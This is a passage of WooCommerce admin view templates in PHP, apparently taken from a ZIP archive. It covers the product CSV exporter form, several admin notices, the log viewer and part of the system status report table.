			<p><?php printf( wp_kses_post( __( 'Our catalog of WooCommerce Extensions can be found on WooCommerce.com here: <a href="%s">WooCommerce Extensions Catalog</a>', 'woocommerce' ) ), 'https://woocommerce.com/product-category/woocommerce-extensions/' ); ?></p>
		<?php endif; ?>

		<?php if ( 'Storefront' !== $theme['Name'] && '_featured' !== $current_section ) : ?>
			<?php
				$storefront_url = WC_Admin_Addons::add_in_app_purchase_url_params( 'https://woocommerce.com/storefront/?utm_source=extensionsscreen&utm_medium=product&utm_campaign=wcaddon' );
			?>
			<div class="storefront">
				<a href="<?php echo esc_url( $storefront_url ); ?>" target="_blank"><img src="<?php echo esc_url( WC()->plugin_url() ); ?>/assets/images/storefront.png" alt="<?php esc_attr_e( 'Storefront', 'woocommerce' ); ?>" /></a>
				<h2><?php esc_html_e( 'Looking for a WooCommerce theme?', 'woocommerce' ); ?></h2>
				<p><?php echo wp_kses_post( __( 'We recommend Storefront, the <em>official</em> WooCommerce theme.', 'woocommerce' ) ); ?></p>
				<p><?php echo wp_kses_post( __( 'Storefront is an intuitive, flexible and <strong>free</strong> WordPress theme offering deep integration with WooCommerce and many of the most popular customer-facing extensions.', 'woocommerce' ) ); ?></p>
				<p>
					<a href="<?php echo esc_url( $storefront_url ); ?>" target="_blank" class="button"><?php esc_html_e( 'Read all about it', 'woocommerce' ); ?></a>
					<a href="<?php echo esc_url( wp_nonce_url( self_admin_url( 'update.php?action=install-theme&theme=storefront' ), 'install-theme_storefront' ) ); ?>" class="button button-primary"><?php esc_html_e( 'Download &amp; install', 'woocommerce' ); ?></a>
				</p>
			</div>
		<?php endif; ?>
	</div>
</div>
PK�3\9X��(views/html-admin-page-product-export.phpnu�[���<?php
/**
 * Admin View: Product Export
 *
 * @package WooCommerce\Admin\Export
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

wp_enqueue_script( 'wc-product-export' );

$exporter = new WC_Product_CSV_Exporter();
?>
<div class="wrap woocommerce">
	<h1><?php esc_html_e( 'Export Products', 'woocommerce' ); ?></h1>

	<div class="woocommerce-exporter-wrapper">
		<form class="woocommerce-exporter">
			<header>
				<span class="spinner is-active"></span>
				<h2><?php esc_html_e( 'Export products to a CSV file', 'woocommerce' ); ?></h2>
				<p><?php esc_html_e( 'This tool allows you to generate and download a CSV file containing a list of all products.', 'woocommerce' ); ?></p>
			</header>
			<section>
				<table class="form-table woocommerce-exporter-options">
					<tbody>
						<tr>
							<th scope="row">
								<label for="woocommerce-exporter-columns"><?php esc_html_e( 'Which columns should be exported?', 'woocommerce' ); ?></label>
							</th>
							<td>
								<select id="woocommerce-exporter-columns" class="woocommerce-exporter-columns wc-enhanced-select" style="width:100%;" multiple data-placeholder="<?php esc_attr_e( 'Export all columns', 'woocommerce' ); ?>">
									<?php
									foreach ( $exporter->get_default_column_names() as $column_id => $column_name ) {
										echo '<option value="' . esc_attr( $column_id ) . '">' . esc_html( $column_name ) . '</option>';
									}
									?>
									<option value="downloads"><?php esc_html_e( 'Downloads', 'woocommerce' ); ?></option>
									<option value="attributes"><?php esc_html_e( 'Attributes', 'woocommerce' ); ?></option>
								</select>
							</td>
						</tr>
						<tr>
							<th scope="row">
								<label for="woocommerce-exporter-types"><?php esc_html_e( 'Which product types should be exported?', 'woocommerce' ); ?></label>
							</th>
							<td>
								<select id="woocommerce-exporter-types" class="woocommerce-exporter-types wc-enhanced-select" style="width:100%;" multiple data-placeholder="<?php esc_attr_e( 'Export all products', 'woocommerce' ); ?>">
									<?php
									foreach ( WC_Admin_Exporters::get_product_types() as $value => $label ) {
										echo '<option value="' . esc_attr( $value ) . '">' . esc_html( $label ) . '</option>';
									}
									?>
								</select>
							</td>
						</tr>
						<tr>
							<th scope="row">
								<label for="woocommerce-exporter-category"><?php esc_html_e( 'Which product category should be exported?', 'woocommerce' ); ?></label>
							</th>
							<td>
								<select id="woocommerce-exporter-category" class="woocommerce-exporter-category wc-enhanced-select" style="width:100%;" multiple data-placeholder="<?php esc_attr_e( 'Export all categories', 'woocommerce' ); ?>">
								<?php
								$categories = get_categories(
									array(
										'taxonomy'   => 'product_cat',
										'hide_empty' => false,
									)
								);
								foreach ( $categories as $category ) {
									echo '<option value="' . esc_attr( $category->slug ) . '">' . esc_html( $category->name ) . '</option>';
								}
								?>
								</select>
							</td>
						</tr>
						<tr>
							<th scope="row">
								<label for="woocommerce-exporter-meta"><?php esc_html_e( 'Export custom meta?', 'woocommerce' ); ?></label>
							</th>
							<td>
								<input type="checkbox" id="woocommerce-exporter-meta" value="1" />
								<label for="woocommerce-exporter-meta"><?php esc_html_e( 'Yes, export all custom meta', 'woocommerce' ); ?></label>
							</td>
						</tr>
						<?php do_action( 'woocommerce_product_export_row' ); ?>
					</tbody>
				</table>
				<progress class="woocommerce-exporter-progress" max="100" value="0"></progress>
			</section>
			<div class="wc-actions">
				<button type="submit" class="woocommerce-exporter-button button button-primary" value="<?php esc_attr_e( 'Generate CSV', 'woocommerce' ); ?>"><?php esc_html_e( 'Generate CSV', 'woocommerce' ); ?></button>
			</div>
		</form>
	</div>
</div>
PK�3\�2~II(views/html-notice-base-table-missing.phpnu�[���<?php
/**
 * Admin View: Notice - Base table missing.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

?>
<div class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'base_tables_missing' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>">
		<?php esc_html_e( 'Dismiss', 'woocommerce' ); ?>
	</a>

	<p>
		<strong><?php esc_html_e( 'Database tables missing', 'woocommerce' ); ?></strong>
	</p>
	<p>
		<?php
		$verify_db_tool_available = array_key_exists( 'verify_db_tables', WC_Admin_Status::get_tools() );
		$missing_tables           = get_option( 'woocommerce_schema_missing_tables' );
		if ( $verify_db_tool_available ) {
			echo wp_kses_post(
				sprintf(
				/* translators: %1%s: Missing tables (seperated by ",") %2$s: Link to check again */
					__( 'One or more tables required for WooCommerce to function are missing, some features may not work as expected. Missing tables: %1$s. <a href="%2$s">Check again.</a>', 'woocommerce' ),
					esc_html( implode( ', ', $missing_tables ) ),
					wp_nonce_url( admin_url( 'admin.php?page=wc-status&tab=tools&action=verify_db_tables' ), 'debug_action' )
				)
			);
		} else {
			echo wp_kses_post(
				sprintf(
				/* translators: %1%s: Missing tables (seperated by ",") */
					__( 'One or more tables required for WooCommerce to function are missing, some features may not work as expected. Missing tables: %1$s.', 'woocommerce' ),
					esc_html( implode( ', ', $missing_tables ) )
				)
			);
		}
		?>
	</p>
</div>
PK�3\�ő��%views/html-admin-page-status-logs.phpnu�[���<?php
/**
 * Admin View: Page - Status Logs
 *
 * @package WooCommerce\Admin\Logs
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<?php if ( $logs ) : ?>
	<div id="log-viewer-select">
		<div class="alignleft">
			<h2>
				<?php echo esc_html( $viewed_log ); ?>
				<?php if ( ! empty( $viewed_log ) ) : ?>
					<a class="page-title-action" href="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'handle' => sanitize_title( $viewed_log ) ), admin_url( 'admin.php?page=wc-status&tab=logs' ) ), 'remove_log' ) ); ?>" class="button"><?php esc_html_e( 'Delete log', 'woocommerce' ); ?></a>
				<?php endif; ?>
			</h2>
		</div>
		<div class="alignright">
			<form action="<?php echo esc_url( admin_url( 'admin.php?page=wc-status&tab=logs' ) ); ?>" method="post">
				<select name="log_file">
					<?php foreach ( $logs as $log_key => $log_file ) : ?>
						<?php
							$timestamp = filemtime( WC_LOG_DIR . $log_file );
							$date      = sprintf(
								/* translators: 1: last access date 2: last access time 3: last access timezone abbreviation */
								__( '%1$s at %2$s %3$s', 'woocommerce' ),
								wp_date( wc_date_format(), $timestamp ),
								wp_date( wc_time_format(), $timestamp ),
								wp_date( 'T', $timestamp )
							);
						?>
						<option value="<?php echo esc_attr( $log_key ); ?>" <?php selected( sanitize_title( $viewed_log ), $log_key ); ?>><?php echo esc_html( $log_file ); ?> (<?php echo esc_html( $date ); ?>)</option>
					<?php endforeach; ?>
				</select>
				<button type="submit" class="button" value="<?php esc_attr_e( 'View', 'woocommerce' ); ?>"><?php esc_html_e( 'View', 'woocommerce' ); ?></button>
			</form>
		</div>
		<div class="clear"></div>
	</div>
	<div id="log-viewer">
		<pre><?php echo esc_html( file_get_contents( WC_LOG_DIR . $viewed_log ) ); ?></pre>
	</div>
<?php else : ?>
	<div class="updated woocommerce-message inline"><p><?php esc_html_e( 'There are currently no logs to view.', 'woocommerce' ); ?></p></div>
<?php endif; ?>
PK�3\S}l;UU'views/html-notice-secure-connection.phpnu�[���<?php
/**
 * Admin View: Notice - Secure connection.
 *
 * @package WooCommerce\Admin\Notices
 */

defined( 'ABSPATH' ) || exit;

?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'no_secure_connection' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p>
	<?php
		echo wp_kses_post( sprintf(
			/* translators: %s: documentation URL */
			__( 'Your store does not appear to be using a secure connection. We highly recommend serving your entire website over an HTTPS connection to help keep customer data secure. <a href="%s">Learn more here.</a>', 'woocommerce' ),
			'https://docs.woocommerce.com/document/ssl-and-https/'
		) );
	?>
	</p>
</div>
PK�3\:�hjj-views/html-notice-regenerating-thumbnails.phpnu�[���<?php
/**
 * Admin View: Notice - Regenerating thumbnails.
 */

defined( 'ABSPATH' ) || exit;

?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'regenerating_thumbnails' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php _e( 'Cancel thumbnail regeneration', 'woocommerce' ); ?></a>

	<p><?php esc_html_e( 'Thumbnail regeneration is running in the background. Depending on the amount of images in your store this may take a while.', 'woocommerce' ); ?></p>
</div>
PK�3\_Jhyyviews/html-notice-updating.phpnu�[���<?php
/**
 * Admin View: Notice - Updating
 *
 * @package WooCommerce\Admin
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$pending_actions_url = admin_url( 'admin.php?page=wc-status&tab=action-scheduler&s=woocommerce_run_update&status=pending' );
$cron_disabled       = Constants::is_true( 'DISABLE_WP_CRON' );
$cron_cta            = $cron_disabled ? __( 'You can manually run queued updates here.', 'woocommerce' ) : __( 'View progress &rarr;', 'woocommerce' );
?>
<div id="message" class="updated woocommerce-message wc-connect">
	<p>
		<strong><?php esc_html_e( 'WooCommerce database update', 'woocommerce' ); ?></strong><br>
		<?php esc_html_e( 'WooCommerce is updating the database in the background. The database update process may take a little while, so please be patient.', 'woocommerce' ); ?>
		<?php
		if ( $cron_disabled ) {
			echo '<br>' . esc_html__( 'Note: WP CRON has been disabled on your install which may prevent this update from completing.', 'woocommerce' );
		}
		?>
		&nbsp;<a href="<?php echo esc_url( $pending_actions_url ); ?>"><?php echo esc_html( $cron_cta ); ?></a>
	</p>
</div>
PK�3\
t,�����'views/html-admin-page-status-report.phpnu�[���<?php
/**
 * Admin View: Page - Status Report.
 *
 * @package WooCommerce
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

global $wpdb;

$report             = wc()->api->get_endpoint_data( '/wc/v3/system_status' );
$environment        = $report['environment'];
$database           = $report['database'];
$post_type_counts   = isset( $report['post_type_counts'] ) ? $report['post_type_counts'] : array();
$active_plugins     = $report['active_plugins'];
$inactive_plugins   = $report['inactive_plugins'];
$dropins_mu_plugins = $report['dropins_mu_plugins'];
$theme              = $report['theme'];
$security           = $report['security'];
$settings           = $report['settings'];
$wp_pages           = $report['pages'];
$plugin_updates     = new WC_Plugin_Updates();
$untested_plugins   = $plugin_updates->get_untested_plugins( WC()->version, Constants::get_constant( 'WC_SSR_PLUGIN_UPDATE_RELEASE_VERSION_TYPE' ) );
?>
<div class="updated woocommerce-message inline">
	<p>
		<?php esc_html_e( 'Please copy and paste this information in your ticket when contacting support:', 'woocommerce' ); ?>
	</p>
	<p class="submit">
		<a href="#" class="button-primary debug-report"><?php esc_html_e( 'Get system report', 'woocommerce' ); ?></a>
		<a class="button-secondary docs" href="https://docs.woocommerce.com/document/understanding-the-woocommerce-system-status-report/" target="_blank">
			<?php esc_html_e( 'Understanding the status report', 'woocommerce' ); ?>
		</a>
	</p>
	<div id="debug-report">
		<textarea readonly="readonly"></textarea>
		<p class="submit">
			<button id="copy-for-support" class="button-primary" href="#" data-tip="<?php esc_attr_e( 'Copied!', 'woocommerce' ); ?>">
				<?php esc_html_e( 'Copy for support', 'woocommerce' ); ?>
			</button>
		</p>
		<p class="copy-error hidden">
			<?php esc_html_e( 'Copying to clipboard failed. Please press Ctrl/Cmd+C to copy.', 'woocommerce' ); ?>
		</p>
	</div>
</div>
<table class="wc_status_table widefat" cellspacing="0" id="status">
	<thead>
		<tr>
			<th colspan="3" data-export-label="WordPress Environment"><h2><?php esc_html_e( 'WordPress environment', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="WordPress address (URL)"><?php esc_html_e( 'WordPress address (URL)', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The root URL of your site.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $environment['site_url'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Site address (URL)"><?php esc_html_e( 'Site address (URL)', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The homepage URL of your site.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $environment['home_url'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="WC Version"><?php esc_html_e( 'WooCommerce version', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The version of WooCommerce installed on your site.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $environment['version'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="REST API Version"><?php esc_html_e( 'WooCommerce REST API package', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The WooCommerce REST API package running on your site.', 'woocommerce' ) ); ?></td>
			<td>
				<?php
				$version = wc()->api->get_rest_api_package_version();

				if ( ! is_null( $version ) ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span> ' . esc_html( $version ) . ' <code class="private">' . esc_html( wc()->api->get_rest_api_package_path() ) . '</code></mark> ';
				} else {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Unable to detect the REST API package.', 'woocommerce' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WC Blocks Version"><?php esc_html_e( 'WooCommerce Blocks package', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The WooCommerce Blocks package running on your site.', 'woocommerce' ) ); ?></td>
			<td>
				<?php
				if ( class_exists( '\Automattic\WooCommerce\Blocks\Package' ) ) {
					$version = \Automattic\WooCommerce\Blocks\Package::get_version();
					$path    = \Automattic\WooCommerce\Blocks\Package::get_path(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
				} else {
					$version = null;
				}

				if ( ! is_null( $version ) ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span> ' . esc_html( $version ) . ' <code class="private">' . esc_html( $path ) . '</code></mark> ';
				} else {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Unable to detect the Blocks package.', 'woocommerce' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Action Scheduler Version"><?php esc_html_e( 'Action Scheduler package', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Action Scheduler package running on your site.', 'woocommerce' ) ); ?></td>
			<td>
				<?php
				if ( class_exists( 'ActionScheduler_Versions' ) && class_exists( 'ActionScheduler' ) ) {
					$version = ActionScheduler_Versions::instance()->latest_version();
					$path    = ActionScheduler::plugin_path( '' ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
				} else {
					$version = null;
				}

				if ( ! is_null( $version ) ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span> ' . esc_html( $version ) . ' <code class="private">' . esc_html( $path ) . '</code></mark> ';
				} else {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Unable to detect the Action Scheduler package.', 'woocommerce' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WC Admin Version"><?php esc_html_e( 'WooCommerce Admin package', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The WooCommerce Admin package running on your site.', 'woocommerce' ) ); ?></td>
			<td>
				<?php
				$wc_admin_path = null;
				if ( defined( 'WC_ADMIN_VERSION_NUMBER' ) ) {
					// Plugin version of WC Admin.
					$version        = WC_ADMIN_VERSION_NUMBER;
					$package_active = false;
				} elseif ( class_exists( '\Automattic\WooCommerce\Admin\Composer\Package' ) ) {
					if ( WC()->is_wc_admin_active() ) {
						// Fully active package version of WC Admin.
						$version        = \Automattic\WooCommerce\Admin\Composer\Package::get_active_version();
						$package_active = \Automattic\WooCommerce\Admin\Composer\Package::is_package_active();
					} else {
						// with WP version < 5.3, package is present, but inactive.
						$version = sprintf(
							/* translators: %s: Version number of wc-admin package */
							__( 'Inactive %s', 'woocommerce' ),
							\Automattic\WooCommerce\Admin\Composer\Package::VERSION
						);
						$package_active = false;
					}
					$wc_admin_path = \Automattic\WooCommerce\Admin\Composer\Package::get_path();
				} else {
					$version = null;
				}

				if ( ! is_null( $version ) ) {
					if ( ! isset( $wc_admin_path ) ) {
						if ( defined( 'WC_ADMIN_PLUGIN_FILE' ) ) {
							$wc_admin_path = dirname( WC_ADMIN_PLUGIN_FILE );
						} else {
							$wc_admin_path = __( 'Active Plugin', 'woocommerce' );
						}
					}
					if ( WC()->is_wc_admin_active() ) {
						echo '<mark class="yes"><span class="dashicons dashicons-yes"></span> ' . esc_html( $version ) . ' <code class="private">' . esc_html( $wc_admin_path ) . '</code></mark> ';
					} else {
						echo '<span class="dashicons dashicons-no-alt"></span> ' . esc_html( $version ) . ' <code class="private">' . esc_html( $wc_admin_path ) . '</code> ';
					}
				} else {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Unable to detect the WC Admin package.', 'woocommerce' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Log Directory Writable"><?php esc_html_e( 'Log directory writable', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Several WooCommerce extensions can write logs which makes debugging problems easier. The directory must be writable for this to happen.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['log_directory_writable'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span> <code class="private">' . esc_html( $environment['log_directory'] ) . '</code></mark> ';
				} else {
					/* Translators: %1$s: Log directory, %2$s: Log directory constant */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'To allow logging, make %1$s writable or define a custom %2$s.', 'woocommerce' ), '<code>' . esc_html( $environment['log_directory'] ) . '</code>', '<code>WC_LOG_DIR</code>' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WP Version"><?php esc_html_e( 'WordPress version', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The version of WordPress installed on your site.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				$latest_version = get_transient( 'woocommerce_system_status_wp_version_check' );

				if ( false === $latest_version ) {
					$version_check = wp_remote_get( 'https://api.wordpress.org/core/version-check/1.7/' );
					$api_response  = json_decode( wp_remote_retrieve_body( $version_check ), true );

					if ( $api_response && isset( $api_response['offers'], $api_response['offers'][0], $api_response['offers'][0]['version'] ) ) {
						$latest_version = $api_response['offers'][0]['version'];
					} else {
						$latest_version = $environment['wp_version'];
					}
					set_transient( 'woocommerce_system_status_wp_version_check', $latest_version, DAY_IN_SECONDS );
				}

				if ( version_compare( $environment['wp_version'], $latest_version, '<' ) ) {
					/* Translators: %1$s: Current version, %2$s: New version */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%1$s - There is a newer version of WordPress available (%2$s)', 'woocommerce' ), esc_html( $environment['wp_version'] ), esc_html( $latest_version ) ) . '</mark>';
				} else {
					echo '<mark class="yes">' . esc_html( $environment['wp_version'] ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WP Multisite"><?php esc_html_e( 'WordPress multisite', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Whether or not you have WordPress Multisite enabled.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo ( $environment['wp_multisite'] ) ? '<span class="dashicons dashicons-yes"></span>' : '&ndash;'; ?></td>
		</tr>
		<tr>
			<td data-export-label="WP Memory Limit"><?php esc_html_e( 'WordPress memory limit', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The maximum amount of memory (RAM) that your site can use at one time.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['wp_memory_limit'] < 67108864 ) {
					/* Translators: %1$s: Memory limit, %2$s: Docs link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%1$s - We recommend setting memory to at least 64MB. See: %2$s', 'woocommerce' ), esc_html( size_format( $environment['wp_memory_limit'] ) ), '<a href="https://wordpress.org/support/article/editing-wp-config-php/#increasing-memory-allocated-to-php" target="_blank">' . esc_html__( 'Increasing memory allocated to PHP', 'woocommerce' ) . '</a>' ) . '</mark>';
				} else {
					echo '<mark class="yes">' . esc_html( size_format( $environment['wp_memory_limit'] ) ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WP Debug Mode"><?php esc_html_e( 'WordPress debug mode', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Displays whether or not WordPress is in Debug Mode.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php if ( $environment['wp_debug_mode'] ) : ?>
					<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>
				<?php else : ?>
					<mark class="no">&ndash;</mark>
				<?php endif; ?>
			</td>
		</tr>
		<tr>
			<td data-export-label="WP Cron"><?php esc_html_e( 'WordPress cron', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Displays whether or not WP Cron Jobs are enabled.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php if ( $environment['wp_cron'] ) : ?>
					<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>
				<?php else : ?>
					<mark class="no">&ndash;</mark>
				<?php endif; ?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Language"><?php esc_html_e( 'Language', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The current language used by WordPress. Default = English', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $environment['language'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="External object cache"><?php esc_html_e( 'External object cache', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Displays whether or not WordPress is using an external object cache.', 'woocommerce' ) ); ?></td>
			<td>
				<?php if ( $environment['external_object_cache'] ) : ?>
					<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>
				<?php else : ?>
					<mark class="no">&ndash;</mark>
				<?php endif; ?>
			</td>
		</tr>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Server Environment"><h2><?php esc_html_e( 'Server environment', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="Server Info"><?php esc_html_e( 'Server info', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Information about the web server that is currently hosting your site.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $environment['server_info'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="PHP Version"><?php esc_html_e( 'PHP version', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The version of PHP installed on your hosting server.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( version_compare( $environment['php_version'], '7.2', '>=' ) ) {
					echo '<mark class="yes">' . esc_html( $environment['php_version'] ) . '</mark>';
				} else {
					$update_link = ' <a href="https://docs.woocommerce.com/document/how-to-update-your-php-version/" target="_blank">' . esc_html__( 'How to update your PHP version', 'woocommerce' ) . '</a>';
					$class       = 'error';

					if ( version_compare( $environment['php_version'], '5.4', '<' ) ) {
						$notice = '<span class="dashicons dashicons-warning"></span> ' . __( 'WooCommerce will run under this version of PHP, however, some features such as geolocation are not compatible. Support for this version will be dropped in the next major release. We recommend using PHP version 7.2 or above for greater performance and security.', 'woocommerce' ) . $update_link;
					} elseif ( version_compare( $environment['php_version'], '5.6', '<' ) ) {
						$notice = '<span class="dashicons dashicons-warning"></span> ' . __( 'WooCommerce will run under this version of PHP, however, it has reached end of life. We recommend using PHP version 7.2 or above for greater performance and security.', 'woocommerce' ) . $update_link;
					} elseif ( version_compare( $environment['php_version'], '7.2', '<' ) ) {
						$notice = __( 'We recommend using PHP version 7.2 or above for greater performance and security.', 'woocommerce' ) . $update_link;
						$class  = 'recommendation';
					}

					echo '<mark class="' . esc_attr( $class ) . '">' . esc_html( $environment['php_version'] ) . ' - ' . wp_kses_post( $notice ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<?php if ( function_exists( 'ini_get' ) ) : ?>
			<tr>
				<td data-export-label="PHP Post Max Size"><?php esc_html_e( 'PHP post max size', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The largest filesize that can be contained in one post.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( size_format( $environment['php_post_max_size'] ) ); ?></td>
			</tr>
			<tr>
				<td data-export-label="PHP Time Limit"><?php esc_html_e( 'PHP time limit', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( $environment['php_max_execution_time'] ); ?></td>
			</tr>
			<tr>
				<td data-export-label="PHP Max Input Vars"><?php esc_html_e( 'PHP max input vars', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( $environment['php_max_input_vars'] ); ?></td>
			</tr>
			<tr>
				<td data-export-label="cURL Version"><?php esc_html_e( 'cURL version', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The version of cURL installed on your server.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( $environment['curl_version'] ); ?></td>
			</tr>
			<tr>
				<td data-export-label="SUHOSIN Installed"><?php esc_html_e( 'SUHOSIN installed', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo $environment['suhosin_installed'] ? '<span class="dashicons dashicons-yes"></span>' : '&ndash;'; ?></td>
			</tr>
		<?php endif; ?>

		<?php

		if ( $environment['mysql_version'] ) :
			?>
			<tr>
				<td data-export-label="MySQL Version"><?php esc_html_e( 'MySQL version', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The version of MySQL installed on your hosting server.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
